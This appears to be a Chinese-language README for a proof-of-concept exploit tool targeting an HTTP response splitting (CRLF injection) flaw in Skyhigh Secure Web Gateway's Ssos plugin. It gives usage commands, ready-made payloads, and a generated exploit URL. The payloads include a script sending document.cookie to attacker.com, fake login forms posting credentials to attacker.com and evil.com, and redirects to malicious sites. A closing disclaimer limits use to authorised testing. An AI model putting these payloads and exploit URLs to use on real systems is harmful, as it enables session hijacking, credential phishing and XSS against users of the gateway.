██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝
由 0PTS 制作
Skyhigh Secure Web Gateway(原 McAfee Web Gateway)中 HTTP Response Splitting 漏洞的概念验证。
Skyhigh Secure Web Gateway 中的严重 HTTP Response Splitting 漏洞,允许通过注入任意 HTML/JavaScript 代码远程执行 XSS 攻击。
漏洞位于插件 "Ssos"(操作 SetLoginToken)中,该插件错误地处理 URL 参数:
由于换行符(\r\n / %0d%0a)未被转义,攻击者可以:
Content-Type 和 Content-Length浏览器在正确构造的 Content-Length 之后会忽略响应的其余内容,从而可以完全替换显示的内容。
python explot.py
# 基本 XSS
python explot.py -d example.com -p "<script>alert(document.domain)</script>"
# 重定向
python explot.py -d target.com -p '<meta http-equiv="refresh" content="0;url=https://evil.com/">'
# 钓鱼表单
python explot.py -d bank.com -p '<form action="https://evil.com/steal"><input name="pass" placeholder="Password"><button>Login</button></form>'
# 仅输出 URL(静默模式)
python explot.py -d example.com -p "<script>alert(1)</script>" -q
-d, --domain 目标域名(默认:google.com)
-x, --prefix URL 路径前缀(默认:SWG 内部路径)
-p, --payload HTML/JavaScript 载荷
-q, --quiet 静默模式 - 仅输出 URL
-v, --version 脚本版本
-h, --help 帮助信息
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>
<html>
<body style="font-family:Arial">
<h2>会话已过期 - 请重新登录</h2>
<form action="https://attacker.com/phish" method="POST">
<input type="text" name="user" placeholder="用户名"><br>
<input type="password" name="pass" placeholder="密码"><br>
<button>登录</button>
</form>
</body>
</html>
<meta http-equiv="refresh" content="0;url=https://malicious-site.com/">
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝
[+] 目标域名: example.com
[+] 载荷长度: 43 字节
[+] URL 长度: 234 字符
[+] 生成的 URL:
http://example.com/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p=p%0D%0AContent-Type%3A%20text%2Fhtml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%2043%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
/mwg-internal/* 的异常请求⚠️ 注意: 此工具仅用于:
未经所有者明确许可而针对系统使用该工具是违法行为。
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝